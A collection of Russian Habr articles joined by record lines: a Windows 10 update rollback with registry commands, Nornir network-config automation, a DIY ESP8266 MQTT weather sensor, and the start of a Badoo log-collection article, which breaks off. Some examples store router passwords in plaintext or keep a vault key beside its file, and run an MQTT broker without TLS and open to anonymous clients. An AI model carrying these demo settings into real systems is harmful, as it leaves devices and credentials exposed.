Microsoft пришлось [откатить](https://docs.microsoft.com/en-us/windows/release-health/status-windows-10-21h1#1696msgdesc) обновление Windows 10 для устранения ошибки. Пользователи стали жаловаться, что после обновления приложения перестали открываться, стали внезапно прекращать работу и при попытке входа в систему появляется белое окно, мешающее работе. Проблема возникла после выпуска обновления KB5005101 и затронула системы на базе Windows 10 версий 21H1, 20H2, 2004, 1909 и 1809, а также Windows 10 Enterprise LTSC 2019 и Windows Server 2019 и новее.
На официальном сайте компании в разделе «Состояние выпуска Windows» сообщается, что в основном ошибка появляется на устройствах, использующих систему фильтрации экспорта адресов (EAF).
Microsoft предлагает решить проблему при помощи системы KIR (Known Issue Rollback). Специалисты корпорации обращают внимание, что исправление ошибки данным методом не моментальное и может занять до 24 часов. Для ускорения процесса рекомендуется перезагрузить устрйство. Кроме того, MIcrosoft предоставила инструкцию для устранение ошибки вручную. Для этого необходимо открыть командную строку и ввести команду, соответствующую установленной версии Windows, после следует перезагрузить систему:
```
# Windows Server 2022
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies\Microsoft\FeatureManagement\Overrides /v 2801335948 /t REG_DWORD /d 0 /f
# Windows 10 версии 2004, Windows 10 версии 20H2 и Windows 10 версии 21H1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies\Microsoft\FeatureManagement\Overrides /v 2767781516 /t REG_DWORD /d 0 /f
# Windows 10 версии 1909
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies\Microsoft\FeatureManagement\Overrides /v 928713355 /t REG_DWORD /d 0 /f
# Windows 10 версии 1809, Windows Server 2019
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies\Microsoft\FeatureManagement\Overrides /v 2371422858 /t REG_DWORD /d 0 /f
``` | https://habr.com/ru/post/580182/ | null | ru | null |
# Автогенерация и заливка элементов конфигураций сетевых устройств с помощью Nornir
Привет, Хабр!
Недавно тут проскочила статья [Mikrotik и Linux. Рутина и автоматизация](http://https://habr.com/en/post/480404/) где подобную задачу решали ископаемыми средствами. И хотя задача совершенно типовая, на Хабре про нее как то ничего подобного и не находится. Осмелюсь предложить уважаемому ИТ-сообществу свой велосипед.
Это не первый велосипед для подобной задачи. Первый вариант был реализован несколько лет назад еще на *ansible* версии 1.x.х. Велосипед использовался редко и поэтому постоянно ржавел. В том смысле, что сама задача возникает не так часто как обновляются версии *ansible*. И каждый раз когда нужно ехать, то цепь спадет, то колесо отвалится. Впрочем первая часть, генерация конфигов — отрабатывает всегда очень четко, благо *jinja2* движок давно устоявшийся. А вот вторая часть — раскатывание конфигов, как правило преподносила сюрпризы. А так как раскатывать конфиг мне приходится удаленно на пол сотни устройств, некоторые из которых находятся в тысячах километров, то пользоваться этим инструментом было слегка ссыкотно.
Тут надо признать, что моя неуверенность, скорей кроется в недостаточном знакомстве меня с *ansible*, чем в его недостатках. И вот это, кстати, важный момент. *ansible* — это совершенно отдельная, своя собственная область знаний со своим собственным DSL (Domain Specific Language), который необходимо поддерживать на уверенном уровне. Ну и тот момент, что *ansible* достаточно быстро развивается, причем без особой оглядки на обратную совместимость, уверенности не добавляет.
Поэтому не так давно был реализован второй вариант велосипеда. На это раз на *python*, а точнее на фреймворке, написанном на *python* и для *python* под названием [Nornir](https://nornir.readthedocs.io/)
Итак — *Nornir* это микрофреймворк, написанный на *python* и для *python* и предназначенный для автоматизации. Так же как и в случае с *ansible*, для решения задач здесь требуется грамотная подготовка данных т.е. инвентаризации хостов и их параметров, а вот сценарии пишутся не на отдельном DSL, а все на том же не очень старом, но весьма добром п[и|ай]тоне.
Давайте рассмотрим что оно такое на следующем живом примере.
Есть у меня филиальная сеть с несколькими десятками офисов по всей стране. В каждом офисе существует WAN-маршрутизатор, который терминирует несколько каналов связи от разных операторов. Протокол маршрутизации — BGP. WAN-маршрутизаторы бывают двух типов: Cisco ISG или Juniper SRX.
Теперь задача: необходимо сконфигурировать на всех WAN-маршрутизаторах филиальной сети выделенную подсеть для Видеонаблюдения в отдельном порту — анонсировать эту подсеть в BGP — сконфигурировать ограничение скорости выделенного порта.
Сначала нам необходимо подготовить пару шаблонов, на основе которых будут генерироваться конфигурации отдельно по Cisco и Juniper. А так же необходимо подготовить данные по каждой точке и параметры подключения т.е. собрать то самое inventory
Готовый шаблон для Cisco:
```
$ cat templates/ios/base.j2
class-map match-all VIDEO_SURV
match access-group 111
policy-map VIDEO_SURV
class VIDEO_SURV
police 1500000 conform-action transmit exceed-action drop
interface {{ host.task_data.ifname }}
description VIDEOSURV
ip address 10.10.{{ host.task_data.ipsuffix }}.254 255.255.255.0
service-policy input VIDEO_SURV
router bgp {{ host.task_data.asn }}
network 10.40.{{ host.task_data.ipsuffix }}.0 mask 255.255.255.0
access-list 11 permit 10.10.{{ host.task_data.ipsuffix }}.0 0.0.0.255
access-list 111 permit ip 10.10.{{ host.task_data.ipsuffix }}.0 0.0.0.255 any
```
Шаблон для Juniper:
```
$ cat templates/junos/base.j2
set interfaces {{ host.task_data.ifname }} unit 0 description "Video surveillance"
set interfaces {{ host.task_data.ifname }} unit 0 family inet filter input limit-in
set interfaces {{ host.task_data.ifname }} unit 0 family inet address 10.10.{{ host.task_data.ipsuffix }}.254/24
set policy-options policy-statement export2bgp term 1 from route-filter 10.10.{{ host.task_data.ipsuffix }}.0/24 exact
set security zones security-zone WAN interfaces {{ host.task_data.ifname }}
set firewall policer policer-1m if-exceeding bandwidth-limit 1m
set firewall policer policer-1m if-exceeding burst-size-limit 187k
set firewall policer policer-1m then discard
set firewall policer policer-1.5m if-exceeding bandwidth-limit 1500000
set firewall policer policer-1.5m if-exceeding burst-size-limit 280k
set firewall policer policer-1.5m then discard
set firewall filter limit-in term 1 then policer policer-1.5m
set firewall filter limit-in term 1 then count limiter
```
Шаблоны, конечно, берутся не с потолка. Это по сути diff-ы между рабочими конфигурациями было-стало после решения поставленной задачи на двух конкретных маршрутизаторах разных моделей.
Из наших шабонов мы видим, что нам для решения задачи достаточно двух параметров для Juniper и 3 параметра для Cisco. вот они:
* ifname
* ipsuffix
* asn
Теперь нам необходимо задать эти параметры для каждого устройства, т.е. сделать то самое *inventory*.
Для *inventory* будем четко следовать документации [Initializing Nornir](https://nornir.readthedocs.io/en/latest/tutorials/intro/initializing_nornir.html)
т.е создадим такой же файловый скелет:
```
.
├── config.yaml
├── inventory
│ ├── defaults.yaml
│ ├── groups.yaml
│ └── hosts.yaml
```
Файл config.yaml — стандартный файл конфигурации nornir
```
$ cat config.yaml
---
core:
num_workers: 10
inventory:
plugin: nornir.plugins.inventory.simple.SimpleInventory
options:
host_file: "inventory/hosts.yaml"
group_file: "inventory/groups.yaml"
defaults_file: "inventory/defaults.yaml"
```
Основные параметры будем указывать в файле *hosts.yaml*, групповые (в моем случае это логины/пароли) в *groups.yaml*, а в *defaults.yaml* ничего указывать не будем, но туда необходимо вписать три минуса — указывающие, на то что это *yaml* файл хоть и пустой.
Вот так выглядит hosts.yaml:
```
---
srx-test:
hostname: srx-test
groups:
- juniper
data:
task_data:
ifname: fe-0/0/2
ipsuffix: 111
cisco-test:
hostname: cisco-test
groups:
- cisco
data:
task_data:
ifname: GigabitEthernet0/1/1
ipsuffix: 222
asn: 65111
```
А вот так groups.yaml:
```
---
cisco:
platform: ios
username: admin1
password: cisco1
juniper:
platform: junos
username: admin2
password: juniper2
```
Вот такое полуилось *inventory* для нашей задачи. При инициализации параметры из inventory-файлов мапятся на объектную модель **InventoryElement**.
**Под спойлером схема модели InventoryElement**
```
print(json.dumps(InventoryElement.schema(), indent=4))
{
"title": "InventoryElement",
"type": "object",
"properties": {
"hostname": {
"title": "Hostname",
"type": "string"
},
"port": {
"title": "Port",
"type": "integer"
},
"username": {
"title": "Username",
"type": "string"
},
"password": {
"title": "Password",
"type": "string"
},
"platform": {
"title": "Platform",
"type": "string"
},
"groups": {
"title": "Groups",
"default": [],
"type": "array",
"items": {
"type": "string"
}
},
"data": {
"title": "Data",
"default": {},
"type": "object"
},
"connection_options": {
"title": "Connection_Options",
"default": {},
"type": "object",
"additionalProperties": {
"$ref": "#/definitions/ConnectionOptions"
}
}
},
"definitions": {
"ConnectionOptions": {
"title": "ConnectionOptions",
"type": "object",
"properties": {
"hostname": {
"title": "Hostname",
"type": "string"
},
"port": {
"title": "Port",
"type": "integer"
},
"username": {
"title": "Username",
"type": "string"
},
"password": {
"title": "Password",
"type": "string"
},
"platform": {
"title": "Platform",
"type": "string"
},
"extras": {
"title": "Extras",
"type": "object"
}
}
}
}
}
```
Эта модель может выглядеть немного запутанной, особенно поначалу. Для того чтобы разобраться очень помогает интерактивный режим в **ipython**.
```
$ ipython3
Python 3.6.9 (default, Nov 7 2019, 10:44:02)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.1.1 -- An enhanced Interactive Python. Type '?' for help.
In [1]: from nornir import InitNornir
In [2]: nr = InitNornir(config_file="config.yaml", dry_run=True)
In [3]: nr.inventory.hosts
Out[3]:
{'srx-test': Host: srx-test, 'cisco-test': Host: cisco-test}
In [4]: nr.inventory.hosts['srx-test'].data
Out[4]: {'task_data': {'ifname': 'fe-0/0/2', 'ipsuffix': 111}}
In [5]: nr.inventory.hosts['srx-test']['task_data']
Out[5]: {'ifname': 'fe-0/0/2', 'ipsuffix': 111}
In [6]: nr.inventory.hosts['srx-test'].platform
Out[6]: 'junos'
```
Ну и наконец переходим собственно к скрипту. Тут мне особо гордиться нечем. Я просто взял готовый пример из [туториала](https://nornir.readthedocs.io/en/latest/tutorials/intro/grouping_tasks.html) и почти без изменений его использовал. Вот так выглядит готовый рабочий скрипт:
```
from nornir import InitNornir
from nornir.plugins.tasks import networking, text
from nornir.plugins.functions.text import print_title, print_result
def config_and_deploy(task):
# Transform inventory data to configuration via a template file
r = task.run(task=text.template_file,
name="Base Configuration",
template="base.j2",
path=f"templates/{task.host.platform}")
# Save the compiled configuration into a host variable
task.host["config"] = r.result
# Save the compiled configuration into a file
with open(f"configs/{task.host.hostname}", "w") as f:
f.write(r.result)
# Deploy that configuration to the device using NAPALM
task.run(task=networking.napalm_configure,
name="Loading Configuration on the device",
replace=False,
configuration=task.host["config"])
nr = InitNornir(config_file="config.yaml", dry_run=True) # set dry_run=False, cross your fingers and run again
# run tasks
result = nr.run(task=config_and_deploy)
print_result(result)
```
Обратите внимание на параметр *dry\_run=True* в строке инициализация объекта **nr**.
Тут так же как и в *ansible* реализован тестовый прогон при котором происходит соединение с маршрутизатором, готовится новая измененная конфигурация, которая затем валидируется устройством (но это не точно; зависит от поддержки устройством и реализации драйвера в NAPALM), но непосредственно применения новой конфигурации не происходит. Для боевого применения необходимо убрать параметр *dry\_run* либо сменить его значение на *False*.
При выполнении сценария Nornir выдает в консоль подробные логи.
**Под спойлером вывод боевого прогона на двух тестовых машрутизаторах:**
```
config_and_deploy***************************************************************
* cisco-test ** changed : True *******************************************
vvvv config_and_deploy ** changed : True vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv INFO
---- Base Configuration ** changed : True ------------------------------------- INFO
class-map match-all VIDEO_SURV
match access-group 111
policy-map VIDEO_SURV
class VIDEO_SURV
police 1500000 conform-action transmit exceed-action drop
interface GigabitEthernet0/1/1
description VIDEOSURV
ip address 10.10.222.254 255.255.255.0
service-policy input VIDEO_SURV
router bgp 65001
network 10.10.222.0 mask 255.255.255.0
access-list 11 permit 10.10.222.0 0.0.0.255
access-list 111 permit ip 10.10.222.0 0.0.0.255 any
---- Loading Configuration on the device ** changed : True --------------------- INFO
+class-map match-all VIDEO_SURV
+ match access-group 111
+policy-map VIDEO_SURV
+ class VIDEO_SURV
+interface GigabitEthernet0/1/1
+ description VIDEOSURV
+ ip address 10.10.222.254 255.255.255.0
+ service-policy input VIDEO_SURV
+router bgp 65001
+ network 10.10.222.0 mask 255.255.255.0
+access-list 11 permit 10.10.222.0 0.0.0.255
+access-list 111 permit ip 10.10.222.0 0.0.0.255 any
^^^^ END config_and_deploy ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
* srx-test ** changed : True *******************************************
vvvv config_and_deploy ** changed : True vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv INFO
---- Base Configuration ** changed : True ------------------------------------- INFO
set interfaces fe-0/0/2 unit 0 description "Video surveillance"
set interfaces fe-0/0/2 unit 0 family inet filter input limit-in
set interfaces fe-0/0/2 unit 0 family inet address 10.10.111.254/24
set policy-options policy-statement export2bgp term 1 from route-filter 10.10.111.0/24 exact
set security zones security-zone WAN interfaces fe-0/0/2
set firewall policer policer-1m if-exceeding bandwidth-limit 1m
set firewall policer policer-1m if-exceeding burst-size-limit 187k
set firewall policer policer-1m then discard
set firewall policer policer-1.5m if-exceeding bandwidth-limit 1500000
set firewall policer policer-1.5m if-exceeding burst-size-limit 280k
set firewall policer policer-1.5m then discard
set firewall filter limit-in term 1 then policer policer-1.5m
set firewall filter limit-in term 1 then count limiter
---- Loading Configuration on the device ** changed : True --------------------- INFO
[edit interfaces]
+ fe-0/0/2 {
+ unit 0 {
+ description "Video surveillance";
+ family inet {
+ filter {
+ input limit-in;
+ }
+ address 10.10.111.254/24;
+ }
+ }
+ }
[edit]
+ policy-options {
+ policy-statement export2bgp {
+ term 1 {
+ from {
+ route-filter 10.10.111.0/24 exact;
+ }
+ }
+ }
+ }
[edit security zones]
security-zone test-vpn { ... }
+ security-zone WAN {
+ interfaces {
+ fe-0/0/2.0;
+ }
+ }
[edit]
+ firewall {
+ policer policer-1m {
+ if-exceeding {
+ bandwidth-limit 1m;
+ burst-size-limit 187k;
+ }
+ then discard;
+ }
+ policer policer-1.5m {
+ if-exceeding {
+ bandwidth-limit 1500000;
+ burst-size-limit 280k;
+ }
+ then discard;
+ }
+ filter limit-in {
+ term 1 {
+ then {
+ policer policer-1.5m;
+ count limiter;
+ }
+ }
+ }
+ }
^^^^ END config_and_deploy ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```
### Прячем пароли в ansible\_vault
В начале статьи я немного наехал на *ansible*, но там не все так плохо. Очень мне у них **vault** нравится, который предназначен для сокрытия чуствительной информации с глаз долой. И наверное многие заметили, что у нас все логины/пароли ко всем боевым маршрутизаторам сверкают в отрытом виде в файле *groups.yaml*. Некрасиво это конечно. Давайте защитим эти данные с помощью **vault**.
Перенесем параметры из groups.yaml в creds.yaml, и зашифруем его AES256 c 20-значным паролем:
```
$ cd inventory
$ cat creds.yaml
---
cisco:
username: admin1
password: cisco1
juniper:
username: admin2
password: juniper2
$ pwgen 20 -N 1 > vault.passwd
ansible-vault encrypt creds.yaml --vault-password-file vault.passwd
Encryption successful
$ cat creds.yaml
$ANSIBLE_VAULT;1.1;AES256
39656463353437333337356361633737383464383231366233386636333965306662323534626131
3964396534396333363939373539393662623164373539620a346565373439646436356438653965
39643266333639356564663961303535353364383163633232366138643132313530346661316533
6236306435613132610a656163653065633866626639613537326233653765353661613337393839
62376662303061353963383330323164633162386336643832376263343634356230613562643533
30363436343465306638653932366166306562393061323636636163373164613630643965636361
34343936323066393763323633336366366566393236613737326530346234393735306261363239
35663430623934323632616161636330353134393435396632663530373932383532316161353963
31393434653165613432326636616636383665316465623036376631313162646435
```
Вот так просто. Осталось научить наш *Nornir*-скрипт доставать и применять эти данные.
Для этого в нашем скрипте после строки инициализации *nr = InitNornir(config\_file=...* добавляем следующий код:
```
...
nr = InitNornir(config_file="config.yaml", dry_run=True) # set dry_run=False, cross your fingers and run again
# enrich Inventory with the encrypted vault data
from ansible_vault import Vault
vault_password_file="inventory/vault.passwd"
vault_file="inventory/creds.yaml"
with open(vault_password_file, "r") as fp:
password = fp.readline().strip()
vault = Vault(password)
vaultdata = vault.load(open(vault_file).read())
for a in nr.inventory.hosts.keys():
item = nr.inventory.hosts[a]
item.username = vaultdata[item.groups[0]]['username']
item.password = vaultdata[item.groups[0]]['password']
#print("hostname={}, username={}, password={}\n".format(item.hostname, item.username, item.password))
# run tasks
...
```
Разумеется vault.passwd не должен лежать рядом с creds.yaml как в моем примере. Но для поиграться сойдет.
На этом пока все. На подходе еще пара статей про Cisco + Zabbix, но это немного не про автоматизацию. А в недалеком будущем планирую написать про RESTCONF в Cisco. | https://habr.com/ru/post/482194/ | null | ru | null |
# Как построить IIoT архитектуру своими руками. Часть 2: «Вещи»
В предыдущей [статье](https://habr.com/company/itsumma/blog/415933/) мы достаточно кратко рассмотрели организацию и процессинг IoT данных с помощью проекта Apache NiFi. Этой статьей мы открываем серию, в которой детально расскажем о каждом этапе, начиная от самих устройств и заканчивая DataLake платформой аналитикой, машинным обучением, предсказанием аномалий и т.д.
Сейчас же начнем с самого первого уровня, непосредственно “вещей”, букве T из аббревиатуры IoT. С самого устройства, организации канала связи и использования протокола MQTT. Тренду IoT уже несколько лет, но по большей части представление о нем, как о лампочке и розетке, включающейся с телефона. Но на производстве, добыче, и в различных других индустриях десятками лет используются самые разнообразные сенсоры, значения с которых собираются в производственные [SCADA](https://en.wikipedia.org/wiki/SCADA). Всего-то подключить поток данных к интернету, и мы получаем тот самый IoT, точнее IIoT — индустриальный интернет вещей.
Зачем это все нужно если все эти десятки лет SCADA успешно управляет производственным циклом?
Причин несколько:
* Расширяются возможности по применению датчиков, например логистика, где на конкретной фуре или вагоне установлен датчик местоположения, а также различные дополнительные, такие как расход топлива или время простоя(ждать на вокзале пока вагон прицепят) — все это уже выходит за локальную сеть производства
* Количество сенсоров на устройствах растет, они требуют более сложной обработки, что не всегда можно сделать мощностями предприятия
* Развившиеся благодаря росту вычислительной мощности возможности машинного обучения и искусственного интеллекта, что можно использовать для оптимизации производства, поиска узких мест, выявления аномалий
В итоге, датчики на производстве уже не просто отправляют значения в SCADA. Нужна программная архитектура, которая позволит построить построить цепочку от конечного сенсора на каком-либо станке до вычислительного облака, в котором, исходя из истории работы станка, с помощью обученной модели обслуживающему персоналу прилетит сообщение «37% вероятность выхода из строя механизма, нужно отправить инженера».
Ну а теперь назад, к вещам! Обычно для демонстрации таких систем используются открытые наборы исторических показателей датчиков какой-либо индустрии. Но к сожалению в таком варианте «пощупать» систему не получиться. Нет, на завод мы не заберемся, а вот свою простую «вещь с интернетом» сделаем.
Наша сфера деятельности связана с серверными инфраструктурами, но некоторыми хобби-электронными навыками все же обладаем, так что «вещь» будет самодельная.
Выберем самый простой вариант мониторинга — климатический датчик, будем собирать данные о температуре, влажности и давлении.
### Компонентная база
В качестве датчика возьмем [BMP280](https://www.bosch-sensortec.com/bst/products/all_products/bmp280).
Очень навороченная вещь, предназначен не только для метеоданных, но и, благодаря чувствительному барометру, для помощи GPS, для навигации в здании (определить этаж), для игр в помощь акселерометру. Мы же будем использовать его только для метеоданных.
Возьмем в качестве модуля такой:
В качестве одновременно контроллера и канала связи возьмем, уже наверное культовую, [esp8266](https://www.espressif.com/en/products/hardware/esp8266ex/overview) (<https://en.wikipedia.org/wiki/ESP8266>)
В нашем случае, модуль ESP-07:
В качестве питания — 9В батарейка «Крона». Так как все устройства работают от 3.3В — нужен понижающий преобразователь. Рука тянется поставить любимый всеми линейный [LD1117](https://www.st.com/resource/en/datasheet/cd00002116.pdf):
Но все, что понижает линейный преобразователь — он просто рассеивает в тепло. Пиковый ток esp8622 около 0.4A, это значит с линейным преобразователем (9-3.3)\*0.4 = 2.28Вт в никуда. Еще и расплавится.
Поэтому собрали импульсный понижающий преобразователь на [LM2576](http://www.ti.com/lit/ds/symlink/lm2576.pdf):
3 ампера точно хватит всем (по-настоящему, что из компонентной базы было, то и припаяли).
### Схема
В качестве CAD использовался Eagle, схема получилась такая:
Для запуска esp8622 нужно притянуть RESET и CH\_PD к плюсу(включает модуль), GPIO15 к минусу. Когда GPIO0 притянут к земле — модуль переходит в режим программирования, поэтому там стоит перемычка.
GPIO02 и GPIO15 используются как SDA/SDL линии шины [I2C](https://en.wikipedia.org/wiki/I%C2%B2C) для подключения BMP280, а также любых других устройств на шину(штырьковый разъем JP5), например, дисплея, для отладки прямо на месте.
JP1 используется для подключения по UART (через UART-USB преобразователь) к компьютеру для программирования и отладки модуля.
На резисторах R6 и R5 собран делитель напряжения для АЦП, чтобы можно было следить за зарядом батареи.
### Плата
Разводка получилась такая:
*Скорее всего, в лучших традициях хоббийной схемотехники, нарушает все возможные правила, но главное — работает :)*
Само устройство получилось такое:
Плата изготовлена по лазерно-утюжной технологии (один из тысяч примеров: <http://cxem.net/master/45.php>).
### Программирование устройства
Для быстрого старта для esp8622 взяли прошивку [NodeMCU](http://nodemcu.com/index_en.html).
NodeMCU представляет из себя интерпретатор Lua для esp8622 и кучу библиотек для различных устройств, датчиков, дисплеев и т.п.
Чтобы прошить устройство, сначала нужно эту прошивку получить. [Документация](https://nodemcu.readthedocs.io/en/master/en/build/) предлагает несколько вариантов, но самый простой из них — сервис [nodemcu-build.com](https://nodemcu-build.com/), который позволяет, просто выбрав нужные модули, получить готовую прошивку на почту.
Для нашего устройства обязательно нужно выбрать MQTT, I2C (т.к. на этой шине расположен датчик), ну и сам датчик BME280 (у нас BMP280, но библиотека универсальная), а также ADC для контроля за батареей. После сборки прошивки — сервис отправит ее на указанную почту.
Дальше нужно замкнуть GPIO0 на землю и перевести модуль в режим программирования (перемычка JP2), подключить USB-UART переходник и передернуть питание.
Загрузка прошивки выполняется с помощью [NodeMCU PyFlasher](https://github.com/marcelstoer/nodemcu-pyflasher/releases). Нужно выбрать соответствующий последовательный порт, саму прошивку и для модуля ESP-07 — Quad i/O, остальные режимы работать не будут.
Немного терпения, пока прошивка завершится, потом снять перемычку JP2, передернуть питание и в итоге наше устройство готово к пользовательскому коду.
### Код
Настройки UART для подключения — 115200 8N1, подключившись каким-нибудь терминалом для последовательного порта(например, [terminalbpp](https://sites.google.com/site/terminalbpp/)) можно прямо вводить lua команды, этакий REPL.
Но нас все же интересует менее эфемерная прошивка, чтобы после перезагрузки оставалась:)
При запуске NodeMCU начинает выполнять с флеш карты файл init.lua (если он есть). Вот его и напишем.
За образец берем пример из документации:
* <https://sites.google.com/site/terminalbpp/>
* <https://nodemcu.readthedocs.io/en/dev/en/upload/#initlua>
Для загрузки мы использовали простенькую утилитку [Asmodat ESP LUA Loader](https://sourceforge.net/projects/asmodat-esp-lua-loader/). Она просто пропихивает в терминал file.open и построчно Lua командами его записывает.
Логика следующая:
1. Инициализируем устройства
2. Подключаемся к WiFi
3. Читаем показания датчиков
4. Подключаемся к MQTT брокеру и отправляем показания в соответствующие топики
5. Выключаем WiFi, засыпаем до следующего измерения
[Lua скрипт, схему и разводку платы мы выложили](https://www.itsumma.ru/files/habr/iotdevice.zip), в принципе там все достаточно прозрачно.
Места которые хотелось бы отметить:
Вход ADC esp8266 требует напряжение в диапазоне от 0 до 1В и на выходе дает соответствующее число от 0 до 1024. Для резисторов 39кОм и 470кОм — коэффициент для пересчета получается примерно 13. Т.е. для того чтобы оценить (не очень точно измерить) напряжение на батарее — нужно полученное значение умножить на 13 и поделить на 1024.
Так как сенсор BMP280 универсальный, у него несколько вариантов конфигурации для разных применений. Для NodeMCU инициализация датчика для климатических измерений выглядит так (одни магические числа):
```
bme280.setup(1, 1, 1, 1, 7, 0) -- weather mode
```
Подробнее про эти числа в [документации](https://nodemcu.readthedocs.io/en/dev/en/modules/bme280/#bme280setup). Ну, и в датащите на BMP280, приведенном выше.
Так и не удалось уйти в режим Deep Sleep, по какой-то причине модуль не будится.
Библиотека для работы с MQTT достаточно специфическая, невозможно точно определить, когда закрывать соединение. В сообществе куча вопросов по этому поводу без какого-либо решения. Есть различные обходные пути, например как этой [статье](https://blog.vinczejanos.info/2016/09/29/reliable-mqtt-conenction-with-nodemcu/).
Но в нашем случае мы просто таймаутом ждем несколько секунд, а потом выключаем WiFi.
Также, поддержка TLS хоть и заявлена, но завести ее так и не удалось, данные отправляются нешифрованные.
### Отправка данных
Раз в минуту модуль подключается к WiFi и отправляет MQTT брокеру показания с датчиков.
Топики в MQTT следующего формата:
```
/device_location/device_name/sensor
```
Это позволяет подписываться на потоки данных с сенсоров как по местоположению так и на конкретные сенсоры, например, температура за окном:
```
/outdoor/#/temperature
```
### MQTT брокер
В качестве MQTT брокера мы используем Eclipse Mosquitto. Чтобы установить, например в Debian нужны два пакета: mosquitto и mosquitto\_clients.
В /etc/mosquitto/mosquitto.conf нужно прописать
```
require_certificate false # отключаем tls
allow_anonymous true # пускаем всех:)
```
Дальше запускаем наше устройство, с помощью утилиты mosquitto\_sub подписываемся на топики устройств, следим за погодой)
```
root@baikal:~# mosquitto_sub -v -t "/outdoor/#"
/outdoor/iottest/temperature 30.07
/outdoor/iottest/pressure 713
/outdoor/iottest/humidity 38.765
/outdoor/iottest/voltage 439
/outdoor/iottest/temperature 30.09
/outdoor/iottest/pressure 713
/outdoor/iottest/humidity 38.445
/outdoor/iottest/voltage 451
/outdoor/iottest/temperature 29.93
/outdoor/iottest/pressure 713
/outdoor/iottest/humidity 38.400
/outdoor/iottest/voltage 452
```
Baikal тут упомянут не просто так. Мы всё же географически расположены рядом с Байкалом, так что для базовой станции под устройства не было других вариантов, кроме как использовать [BFK 3.1 на ядре Baikal T-1](https://www.baikalelectronics.ru/products/olkhon_bfk/) :)
> В последующих статьях перейдем к передаче данных, полученных от IIoT в систему аналитики и визуализации и расскажем об очередях. И про Baikal, конечно :) | https://habr.com/ru/post/416291/ | null | ru | null |
# Сбор и анализ логов демонов в Badoo
Введение
--------
В Badoo несколько десятков «самописных» демонов. Большинство из них написаны на Си, остался один на С++ и пять или шесть на Go. Они работают примерно на сотне серверов в четырех дата-центрах.
В Badoo проверка работоспособности и обнаружение проблем с демонами лежат на плечах отдела мониторинга. Коллеги с помощью Zabbix и скриптов проверяют, запущен ли сервис, отвечает ли он на запросы, а также следят за версиями. Кроме того, в отделе анализируется статистика демонов и скриптов, работающих с ними, на предмет аномалий, резких скачков и т.п.
[](https://habrastorage.org/files/e47/c09/0a1/e47c090a11744555aa4e15ed44957d03.png)
Однако у нас до недавнего времени не было очень важной части — сбора и анализа логов, которые каждый демон пишет локально в файлы на сервере. Зачастую именно эта информация помогает на самом раннем этапе поймать проблему или постфактум понять причины отказа.
Мы построили такую систему и спешим поделиться подробностями. Наверняка у кого-то из вас будет стоять похожая задача, и прочтение данной статьи убережет от ошибок, которые мы успели совершить.
Выбор инструментов
------------------
Мы с самого начала отмели «облачные» системы, т.к. в Badoo принято не отдавать свои данные наружу, если это возможно. Проанализировав популярные инструменты, мы пришли к выводу, что, скорее всего, нам подойдет одна из трех систем:
* [Splunk;](http://www.splunk.com/)
* [ELK;](https://www.elastic.co/)
* [Graylog 2.](https://www.graylog.org/)
### Splunk
В первую очередь мы попробовали Splunk. Splunk — это система под ключ, закрытое и платное решение, стоимость которого напрямую зависит от трафика, приходящего в систему. Мы ее уже используем для данных в отделе биллинга. Коллеги очень довольны.
[](https://habrastorage.org/files/f0c/145/3fb/f0c1453fbabc4ada87781c88201dd03e.png)
Мы воспользовались их инсталляцией для тестов и почти сразу же столкнулись с тем, что наш трафик превышал имеющиеся и оплаченные лимиты.
Еще одним нюансом стало то, что во время тестирования некоторые сотрудники жаловались на сложность и «неинтуитивность» пользовательского интерфейса. Коллеги из биллинга за это время уже наловчились в общении со Splunk и у них не было никаких проблем, но все же этот факт стоит отметить, т.к. приятный интерфейс будет иметь большое значение, если мы хотим, чтобы нашей системой активно пользовались.
По технической части Splunk, судя по всему, нас полностью устраивал. Но его стоимость, закрытость и неудобный интерфейс заставили нас искать дальше.
### ELK: Elastic Search + Logstash + Kibana
[](https://habrastorage.org/files/ba1/9ea/a4f/ba19eaa4ffb64d398a47438b23187f7c.png)
Следующей в списке оказалась ELK. ELK — это, наверное, самая популярная на сегодняшний день система для сбора и анализа логов. И хочу сказать, что это неудивительно, т.к. она бесплатная, простая, гибкая и мощная.
ELK состоит из трех компонентов:
* Elastic Search. Система хранения и поиска данных, основанная на «движке» Lucene;
* Logstash. «Труба» с кучей фич, через которую данные (возможно, обработанные) попадают в Elastic Search;
* Kibana. Веб-интерфейс для поиска и визуализации данных из Elastic Search.
Начать работать с ELK очень просто: достаточно скачать с официального сайта три архива, разархивировать и запустить несколько бинарников. Эта простота позволила за считаные дни протестировать систему и понять, насколько она нам подходит.
И в целом она подошла. Технически мы могли реализовать все, что нам нужно, при необходимости написать свои решения и встроить их в общую инфраструктуру.
Несмотря на то, что ELK нас полностью устраивала, был и третий претендент.
### Graylog 2
[](https://habrastorage.org/files/dba/8d4/13e/dba8d413e08641919c18364faaa70984.png)
В общем и целом Graylog 2 очень похожа на ELK: открытый код, легко устанавливать, тоже используется Elastic Search и может использоваться Logstash. Основное отличие в том, что Graylog 2 — система, готовая к использованию и «заточенная» конкретно на сбор логов. Своей готовностью для конечного пользователя она очень напоминаем Splunk. Здесь есть и удобный графический интерфейс с возможностью настраивать разбор строчек прямо в браузере, и ограничение доступа, и уведомления.
Но мы пришли к выводу, что ELK позволит нам сделать гораздо более гибкую систему, настроенную под наши нужды; позволит расширяться, менять компоненты. Как конструктор. Не понравилась одна часть — заменили на другую. Не хотели платить за watcher — сделали свою систему. Если в ELK все части легко можно снять и заменить, в Graylog 2 было ощущение, что какие-то части придется выдирать с корнем, а какие-то просто не получится внедрить.
Решено. Будем делать на ELK.
### Доставка логов
На самом раннем этапе мы поставили обязательное требование, что логи должны и попадать в наш сборщик, и оставаться на диске. Система сбора и анализа логов — это хорошо, но любая система дает некоторую задержку, может выйти из строя и ничто не заменит тех возможностей, которые дают стандартные unix-утилиты типа grep, AWK, sort и т.д. У программиста должна остаться возможность зайти на сервер и посмотреть своими глазами, что там происходит.
Доставлять логи в Logstash мы могли следующим образом:
